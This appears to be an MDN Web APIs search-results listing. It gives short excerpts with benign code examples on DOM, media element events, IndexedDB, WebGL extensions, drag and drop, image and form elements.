...to match id or selectors that do not follow the css syntax (by using semicolon or space inappropriately for example), it's mandatory to escape the wrong character with a double back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#f...
DocumentFragment - Web APIs
usage notes a common use for documentfragment is to create one, assemble a dom subtree within it, then append or insert the fragment into the dom using node interface methods such as appendchild() or insertbefore().
... an empty documentfragment can be created using the document.createdocumentfragment() method or the constructor.
DocumentOrShadowRoot.activeElement - Web APIs
if so, you can get more detail by using the object's selectionstart and selectionend properties.
...you can get the current selection using window.getselection().
How to create a DOM tree - Web APIs
you can automate the creation of a dom tree using a jxon reverse algorithm in association with the following json representation: { "people": { "person": [{ "address": [{ "@street": "321 south st", "@city": "denver", "@state": "co", "@country": "usa" }, { "@street": "123 main st", "@city": "arlington", "@state": "ma", "@country": "usa" }], "@first-name...
... dom trees can be queried using xpath expressions, converted to strings or written to a local or remote files using xmlserializer (without having to first convert to a string), posted to a web server (via xmlhttprequest), transformed using xslt, xlink, converted to a javascript object through a jxon algorithm, etc.
EXT_blend_minmax - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_color_buffer_float - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_color_buffer_half_float - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_float_blend - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_frag_depth - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_sRGB - Web APIs
WebAPIEXT sRGB
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_shader_texture_lod - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_texture_compression_bptc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
EXT_texture_compression_rgtc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
Element: auxclick event - Web APIs
er); } function randomcolor() { return `rgb(${random(255)}, ${random(255)}, ${random(255)})`; } button.onclick = function() { button.style.backgroundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping up after the color change is applied.
... html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-items: center; margin: 0; } button { border: 0; background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Element.getBoundingClientRect() - Web APIs
if you need the bounding rectangle relative to the top-left corner of the document, just add the current scrolling position to the top and left properties (these can be obtained using window.scrollx and window.scrolly) to get a bounding rectangle which is independent from the current scrolling position.
... rect = elt.getboundingclientrect() // the result in emptyobj is {} emptyobj = object.assign({}, rect) emptyobj = { ...rect } {width, ...emptyobj} = rect domrect properties top, left, right, and bottom are computed using the values of the object's other properties.
Element.getElementsByClassName() - Web APIs
matches.item(i).classlist.add('hueframe'); } instead, use another method, such as: var matches = element.getelementsbyclassname('colorbox'); while (matches.length > 0) { matches.item(0).classlist.add('hueframe'); matches[0].classlist.remove('colorbox'); } this code finds descendant elements with the "colorbox" class, adds the class "hueframe", by calling item(0), then removes "colorbox" (using array notation).
... filtering the results using array methods we can also use methods of array.prototype on any htmlcollection by passing the htmlcollection as the method's this value.
Element.requestFullscreen() - Web APIs
detecting full-screen activation you can determine whether or not your attempt to switch to full-screen mode is successful by using the promise returned by requestfullscreen(), as seen in the example below.
...it's also important to listen for fullscreenchange to be aware when, for example, the user manually toggles full-screen mode, or when the user switches applications, causing your application to temporarily exit full-screen mode.
Element.slot - Web APIs
WebAPIElementslot
a slot is a placeholder inside a web component that users can fill with their own markup (see using templates and slots for more information).
... examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
Element: wheel event - Web APIs
examples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel.
...round: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: el.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
Element - Web APIs
WebAPIElement
set using the part attribute), returned as a domtokenlist.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
Event.initEvent() - Web APIs
WebAPIEventinitEvent
the event.initevent() method is used to initialize the value of an event created using document.createevent().
...this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
EventSource - Web APIs
when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100).
... note: you can find a full example on github — see simple sse demo using php.
File.getAsText() - Web APIs
WebAPIFilegetAsText
try to avoid using it.
... summary the getastext method provides the file's data interpreted as text using a given encoding.
File - Web APIs
WebAPIFile
file objects are generally retrieved from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
... see using files from web applications for more information and examples.
FileError - Web APIs
WebAPIFileError
represents an error that occurs while using the filereader interface.
... in the file system api, a fileerror represents error conditions that you might encounter while accessing the file system using the asynchronous api.
FileReader() - Web APIs
for details about how to use filereader, see using files from web applications.
... example the following code snippet shows creation of a filereader object using the filereader() constructor and subsequent usage of the object: function printfile(file) { var reader = new filereader(); reader.onload = function(evt) { console.log(evt.target.result); }; reader.readastext(file); } specifications specification status comment file api working draft initial definition ...
FormData() - Web APIs
WebAPIFormDataFormData
syntax var formdata = new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type="s...
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... you can also pass it directly to the urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission.
GainNode - Web APIs
WebAPIGainNode
if modified, the new gain is instantly applied, causing unaesthetic 'clicks' in the resulting audio.
...if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode.
Geolocation - Web APIs
an object with this interface is obtained using the navigator.geolocation property implemented by the navigator object.
... geolocation.clearwatch() secure context removes the particular handler previously installed using watchposition().
GlobalEventHandlers.onanimationcancel - Web APIs
this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css.
... result assembled together, you get this: if your browser supports animationcancel, hiding the box using the button will cause a message to be displayed about the event.
GlobalEventHandlers.ondragenter - Web APIs
example this example demonstrates using the ondragenter attribute handler to set an element's dragenter event handler.
... <!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev)...
GlobalEventHandlers.ondragexit - Web APIs
example this example demonstrates using the ondragexit attribute handler to set an element's dragexit event handler.
... <!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev)...
GlobalEventHandlers.ondragleave - Web APIs
example this example demonstrates using the ondragleave attribute handler to set an element's dragleave event handler.
... <!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev)...
GlobalEventHandlers.ondragover - Web APIs
example this example demonstrates using the ondragover attribute handler to set an element's dragover event handler.
... <!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </scrip...
GlobalEventHandlers.ondragstart - Web APIs
example this example demonstrates using the ondragstart attribute handler to set an element's dragstart event handler.
... <!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </scrip...
HTMLAudioElement - Web APIs
examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load.
...listen to events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
HTMLCanvasElement.mozGetAsFile() - Web APIs
html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method.
... then a new <img> element is created using the new data url.
HTMLCanvasElement.toBlob() - Web APIs
the third argument is used when creating images using lossy compression (namely, image/jpeg) to specify the quality of the output.
...the code snippet below, for example, takes the image in the <canvas> element whose id is "canvas", obtains a copy of it as a png image, then appends a new <img> element to the document, whose source image is the one created using the canvas.
HTMLElement.contextMenu - Web APIs
the htmlelement.contextmenu property refers to the context menu assigned to an element using the contextmenu attribute.
... the menu itself is created using the <menu> element.
HTMLElement: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... const para = document.queryselector('p'); para.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); para.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLElement.hidden - Web APIs
this is quite different from using the css property display to control the visibility of an element.
...now get out there and do awesome things awesomely to make the world more awesome!</p> </div> css the content is styled using the css below.
HTMLElement - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... pointer events gotpointercapture fired when an element captures a pointer using setpointercapture().
HTMLFormElement.length - Web APIs
you can access the list of the form's controls using the elements property.
... this includes both elements that are descendents of the <form> element as well as elements that are made members of the form using their form property.
HTMLFormElement.requestSubmit() - Web APIs
the htmlformelement method requestsubmit() requests that the form be submitted using a specific submit button.
... examples in the example below, the form is submitted by attempting to send the request using requestsubmit() if it's available.
HTMLImageElement.border - Web APIs
the width, specifically, is controlled using the writing-mode aware border-block-start-width, border-block-end-width, border-inline-start-width, and border-inline-end-width properties.
... for example, if you have the following html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specifica...
HTMLImageElement.currentSrc - Web APIs
this is useful when you provide multiple image options using the sizes and/or htmlimageelement.srcset properties.
... html <img src="/files/16797/clock-demo-400px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
HTMLImageElement.height - Web APIs
otherwise, the image's height is represented using its natural (intrinsic) height, adjusted for the display density as indicated by naturalheight.
... example in this example, two different sizes are provided for an image of a clock using the srcset attribute.
HTMLImageElement.loading - Web APIs
to prevent this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes.
... example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed.
HTMLImageElement.longDesc - Web APIs
the longdesc property could be used to provide an explanation of the flow of control represented by the chart, using only text.
...instead of using longdesc to provide a link to a detailed description of an image, encapsulate the image within a link using the <a> element.
HTMLImageElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances.
...also provided is the word-break attribute, using the break-all value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur.
HTMLImageElement.width - Web APIs
otherwise, the image's width is represented using its natural (intrinsic) width, adjusted for the display density as indicated by naturalwidth.
... example in this example, two different sizes are provided for an image of a clock using the srcset attribute.
HTMLImageElement - Web APIs
this is different from a client-side image map, specified using an <img> element and a corresponding <map> which contains <area> elements indicating the clickable areas in the image.
... example var img1 = new image(); // image constructor img1.src = 'image1.png'; img1.alt = 'alt'; document.body.appendchild(img1); var img2 = document.createelement('img'); // use dom htmlimageelement img2.src = 'image2.jpg'; img2.alt = 'alt text'; document.body.appendchild(img2); // using first image in the document alert(document.images[0].src); specifications specification status comment css object model (cssom) view modulethe definition of 'extensions to htmlimageelement' in that specification.
HTMLInputElement - Web APIs
possible values are: on: the browser can autocomplete the value using previously stored value off: the user must explicity enter a value max string: returns / sets the element's max attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: input fires when the value of an <input>, <select>, or <textarea> element has been changed.
HTMLMediaElement: emptied event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('emptied', (event) => { console.log('uh oh.
...did you call load()?'); }); using the onemptied event handler property: const video = document.queryselector('video'); video.onemptied = (event) => { console.log('uh oh.
HTMLMediaElement: loadeddata event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('loadeddata', (event) => { console.log('yay!
... the readystate just increased to ' + 'have_current_data or greater for the first time.'); }); using the onloadeddata event handler property: const video = document.queryselector('video'); video.onloadeddata = (event) => { console.log('yay!
HTMLMediaElement: loadedmetadata event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('loadedmetadata', (event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known.
... '); }); using the onloadedmetadata event handler property: const video = document.queryselector('video'); video.onloadedmetadata = (event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known.
HTMLMediaElement: pause event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('pause', (event) => { console.log('the boolean paused property is now true.
... either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }); using the onpause event handler property: const video = document.queryselector('video'); video.onpause = (event) => { console.log('the boolean paused property is now true.
HTMLMediaElement: play event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('play', (event) => { console.log('the boolean paused property is now false.
... either the ' + 'play() method was called or the autoplay attribute was toggled.'); }); using the onplay event handler property: const video = document.queryselector('video'); video.onplay = (event) => { console.log('the boolean paused property is now false.
HTMLMediaElement.srcObject - Web APIs
usage notes older versions of the media source specification required using createobjecturl() to create an object url then setting src to that url.
... const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); if ('srcobject' in video) { video.srcobject = mediastream; } else { // avoid using this in new browsers, as it is going away.
HTMLMedia​Element​.textTracks - Web APIs
you can detect when tracks are added to and removed from an <audio> or <video> element using the addtrack and removetrack events.
...the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method.
HTMLMediaElement: timeupdate event - Web APIs
using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('timeupdate', (event) => { console.log('the currenttime attribute has been updated.
... again.'); }); using the ontimeupdate event handler property: const video = document.queryselector('video'); video.ontimeupdate = (event) => { console.log('the currenttime attribute has been updated.
HTMLOrForeignElement.dataset - Web APIs
in addition to the information below, you'll find a how-to guide for using html data attributes in our article using data attributes.
... accessing values attributes can be set and read by using the camelcase name (the key) like an object property of the dataset, as in element.dataset.keyname attributes can also be set and read using the bracket syntax, as in element.dataset[keyname] the in operator can be used to check whether a given attribute exists.
HTMLElement.focus() - Web APIs
syntax element.focus(options); // object parameter parameters options optional an optional object providing options to control aspects of the focusing process.
...a value of false for preventscroll (the default) means that the browser will scroll the element into view after focusing it.
HTMLTrackElement: cuechange event - Web APIs
bubbles no cancelable no interface event event handler oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechan...
... if the track is associated with a media element, using the <track> element as a child of the <audio> or <video> element, the cuechange event is also sent to the htmltrackelement.
The HTML DOM API - Web APIs
an element object instance represents a single element in a document created using either html or an xml vocabulary such as svg.
... for example, consider a document with two elements, one of which has two more elements nested inside it: while the document interface is defined as part of the dom specification, the html specification significantly enhances it to add information specific to using the dom in the context of a web browser, as well as to using it to represent html documents specifically.
HTML Drag and Drop API - Web APIs
the following example shows a drop handler getting the source element's id from the drag data, and then using the id to move the source element to the drop element: <script> function dragstart_handler(ev) { // add the target element's id to the data transfer object ev.datatransfer.setdata("application/my-app", ev.target.id); ev.datatransfer.dropeffect = "move"; } function dragover_handler(ev) { ev.preventdefault(); ev.datatransfer.dropeffect = "move" } function drop_handler(ev) { ev.preventdefault...
... examples and demos copying and moving elements with the datatransfer interface copying and moving elements with the datatransferlistitem interface dragging and dropping files (firefox only): http://jsfiddle.net/9c2ef/ dragging and dropping files (all browsers): https://jsbin.com/hiqasek/ a parking project using the drag and drop api: https://park.glitch.me/ (you can edit here) specifications specification status comment html living standard living standard see also drag operations dragging and dropping multiple items recommended drag types html5 living standard: drag and drop drag and drop interoperability data from caniuse ...
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
try to avoid using it.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip')...
HkdfParams - Web APIs
the hkdfparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the hkdf algorithm.
...this is used to bind the derived key to an application or context, and enables you to derive different keys for different contexts while using the same input key material.
IDBDatabase: close event - Web APIs
note that it is not fired if the database connection is closed normally using idbdatabase.close().
... unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.addeventlistener('close', () => { console.log('database connection closed'); }); }; the same example, using the onclose property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain...
IDBDatabase - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...sion of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database using // idbdatabase.createobjectstore var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month...
IDBIndex.multiEntry - Web APIs
this is decided when the index is created, using the idbobjectstore.createindex method.
...we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.name - Web APIs
WebAPIIDBIndexname
constrainterror an index is already using the specified name.
...we then open a basic cursor on the index using idbindex.opencursor() — this works the same as opening a cursor directly on an idbobjectstore using opencursor() except that the returned records are sorted based on the index, not the primary key.
IDBIndex.objectStore - Web APIs
we then open a basic cursor on the index using idbindex.opencursor.
... this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
this is decided when the index is created, using the idbobjectstore.createindex method.
...we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBObjectStore.delete() - Web APIs
bear in mind that if you are using a idbcursor, you can use the idbcursor.delete() method to more efficiently delete the current record — without having to explicitly look up the record's key.
... example in the following code snippet, we open a read/write transaction on our database and delete one specific record out of our object store using delete() — a sample record with the key "walk dog".
IDBObjectStore.get() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and get one specific record from object store using get() — a sample record with the key "walk dog".
... once this data object is retrieved, you could then update it using normal javascript, then put it back into the database using a idbobjectstore.put operation.
IDBObjectStore.index() - Web APIs
the index() method of the idbobjectstore interface opens a named index in the current object store, after which it can be used to, for example, return a series of records sorted by that index using a cursor.
...we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBObjectStore.name - Web APIs
constrainterror an object store is already using the specified name.
... example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
IDBOpenDBRequest: blocked event - Web APIs
bubbles no cancelable no interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objec...
...th', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define w...
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the indexeddb api provides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
IDBRequest: success event - Web APIs
bubbles no cancelable no interface event event handler property onsuccess examples this example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minu...
...tes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.addeventlistener('success', (event) => { console.log('database opened successfully!'); }); the same example, but using the onsuccess event handler property: // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore wi...
IDBTransaction: complete event - Web APIs
bubbles no cancelable no interface event event handler property oncomplete examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstor...
...on(['todolist'], 'readwrite'); // add a listener for `complete` transaction.addeventlistener('complete', event => { console.log('transaction was competed'); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; using the oncomplete property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define wh...
IDBTransaction.mode - Web APIs
this mode is for updating the version number of transactions that were started using idbdatabase.setversion().
...at the end, we simply log the mode of the current transaction using mode.
IIRFilterNode - Web APIs
all even-ordered iir filters can be created using biquadfilternode.
... also see our using iir filters guide for a full explanation.
ImageData - Web APIs
WebAPIImageData
it is created using the imagedata() constructor or creator methods on the canvasrenderingcontext2d object associated with a canvas: createimagedata() and getimagedata().
... it can also be used to set a part of the canvas by using putimagedata().
Checking when a deadline is due - Web APIs
when a notification is fired for each item object, its notification property is set to "yes" so this check will not pass on the next iteration, via the following code inside the createnotification() function (read using indexeddb for an explanation): // now we need to update the value of notified to "yes" in this particular data object, so the // notification won't be set off on it again // first open up a tranaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var request = ...
...to do this, we are simply using setinterval() to run checkdeadlines() once per second: setinterval(checkdeadlines, 1000); ...
IntersectionObserver.thresholds - Web APIs
syntax var thresholds = intersectionobserver.thresholds; value an array of intersection thresholds, originally specified using the threshold property when instantiating the observer.
...confusing?
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
keyboardevent sequence example consider the event sequence generated when we interact with the shift and the 2 key using a u.s keyboard layout as compared to when we do so using a uk keyboard layout.
... try experimenting using the following two test cases: press and hold the shift key, then press 2 and release it.
KeyboardEvent - Web APIs
keyboard events may not be fired if the user is using an alternate means of entering text, such as a handwriting system on a tablet or graphics tablet.
...a user may be using one keyboard layout while typing text in a different language.
KeyframeEffect.getKeyframes() - Web APIs
this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes.
... this will be null if the keyframe is automatically spaced using keyframeeffect.spacing.
LargestContentfulPaint - Web APIs
